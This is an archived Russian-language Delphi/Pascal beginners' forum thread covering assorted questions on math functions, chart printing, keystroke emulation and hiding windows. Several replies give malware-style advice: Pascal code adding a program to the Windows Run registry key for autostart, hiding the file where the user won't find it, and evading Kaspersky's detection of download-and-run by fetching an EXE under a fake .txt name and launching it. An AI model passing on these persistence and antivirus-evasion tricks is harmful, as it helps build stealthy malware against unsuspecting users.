[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Омг, у меня крутой паскаль значит, ну не беда))

 

exp(x) - Экспонента (число e в степени x)
exp(1) ~ 2.72

 

Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...

 

Ну вообще я просто пользуюсь PascalABC.NET, так что возможны расхождения с Pascal 7.0

 

ты не правильно наверное воспринимает результат выполнения WinExec
Читай Windows SDK

т.е. при нормальном выполнении функция вернет тебе значение 31
А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
ты для теста смени sw_hide на sw_show
У меня запросто разаботал твой кусок кода

P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа

Code:

procedure install(filename,about:string);
var
 key:longword;
begin
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
 RegCloseKey(Key);
end;

Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32

 

1) Каспер недоверчево относится к запуску скрытых процессов. Так что SHOW / HIDE - играет роль
2) Такой вот инстал в реестр палится каспером еще с его детский времен
3) Скачать и запустить - это тоже слишком подозретильно.
По этому как вариант можно попробовать следующее
Качай файл под левым именем. типа book.txt, затем чтонить помути с ним а потом переименую как нужно и попробуй запустить.
На счет прописки в реестре - как никрути но это будет палиться проактивкой.

 

*CRAZY* хотя верх извращенства - запускать текстовик.
Если EXE переименовать в TXT типа c:\windows\book.txt то он всё равно запустится через winexec('c:\windows\book.txt',sw_show);

 

Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...

 

Вообщем есть чюжая программа
Нужно её запустить и нажать Ctrl + S
Но есть один нюанс Окно программы скрыто (так надо...)
В инете нашол ассемблерный код но он пашед ток для одной кнопки =(

Code:

procedure EmulateKey(Wnd: HWND; VKey: Integer);
asm
  push 0
  push edx
  push 0101H //WM_KEYUP
  push eax
  push 0
  push edx
  push 0100H //WM_KEYDOWN
  push eax
  call PostMessage
  call PostMessage
end;

 

http://www.delphisources.ru/pages/faq/base/keys_pressed_emulation2.html

 

Code:

// симуляция нажимаем&отпускаем кнопку
procedure SimulateKeystroke(Key : byte; extra : DWORD);
begin
    keybd_event(Key,extra,0,0);
    keybd_event(Key,extra,KEYEVENTF_KEYUP,0);
end;

// симуляция нажимаем кнопку
procedure SimulateKeyDown(Key : byte);
begin
    keybd_event(Key, 0, 0, 0);
end;

// симуляция отпускаем кнопку
procedure SimulateKeyUp(Key : byte);
begin
    keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
end;

/////////////////////////////////////////////////////////////

// нажимаем СTRL
SimulateKeyDown(VK_CONTROL);
// нажимаем&отпускам кнопку S (регист важен)
SimulateKeystroke(ord('S'),0);
// отпускаем СTRL
SimulateKeyUp(VK_CONTROL);

для примера запусти Блокнот и:

Code:

var i:integer;
begin
for i:=1 to 500 do begin caption:=inttostr(i); sleep(1); end;
// активируй окно Блокнота
SimulateKeyDown(VK_CONTROL);
SimulateKeystroke(ord('S'),0); // S=0x73 , s=0x53
SimulateKeyUp(VK_CONTROL);

и увидеш окно "Сохранить Как.." )

 

Ех немного неправильно я вопрос поставил(((
Мне нужно запустить прогу а потом в НЕЁ зная хейдер окна отправить горячую клавишу Ctrl + S Тоесть горячая клавиша действует только тогда когда окно развёрнуто
А нужно отправить горячую клавишу пока окно неактивно.

 

А нафиг его отправлять тогда когда окно не активно, смысл?

 

Кароч у меня есть прога которая показывает кое какую инфу и может сохранять это в файл Мне бы хотелось сделать лоадер Который запустит скрыто прогу нажмет Ctrl + s и сохранит в нужную папку (Сохранение уже реализовал) Мне нужно ток скрыто нажать горячюю клавишу

 

BOOL PostMessage(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);

Code:

var wnd:HWND;
begin
  wnd := FindWindow('notepad', nil);
  wnd := FindWindowEx(wnd, 0, 'Edit', nil);
  if wnd=0 then exit;
  caption:=inttostr(wnd);
  PostMessage(wnd, WM_KEYDOWN, VK_CONTROL, 0);
  PostMessage(wnd, WM_KEYDOWN, ord('S'), 0);
 // PostMessage(wnd, WM_CHAR, Word('s'), 0);
  PostMessage(wnd, WM_KEYUP, ord('S'), 0);
  PostMessage(wnd, WM_KEYUP, VK_CONTROL, 0);

 

в паскале возможно ли скрыть прогу при запуске? (чтобы небыло на панели управления)

 

Помогите перенести формулу из екселя в дельфи.

Сам файл, например для элемента D43. При условии что изначально забит только 0 массив, остальное считается из него.

ЗЫ сорри за аттач, но иначе сложно объяснить.

 

Дублирую.. Очень нужно!!!

Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...

 

2 Nightmarе И как ты себе представляешь шифрования трафа в socks5? Приложения ведь не поддерживают шифрования, потому что им тогда придется таскать SSL с собой и подобное. А вот ищеи на счет HTTPS - тут уже более реалистичны
Ну или если разработка для себя, то сам усовершенствую протокол и напиши сервер и клиент.

 

нужна банальная шняга, написаная на дельфи.

чтобы в активном окне (Название);
если нажата клавиша "q" используеться клавиша 3;
если нажата клавиша "е" используеться клавиша 4;
если нажата клавиша "ctrl" используеться клавиша 6 и 7 одновременно;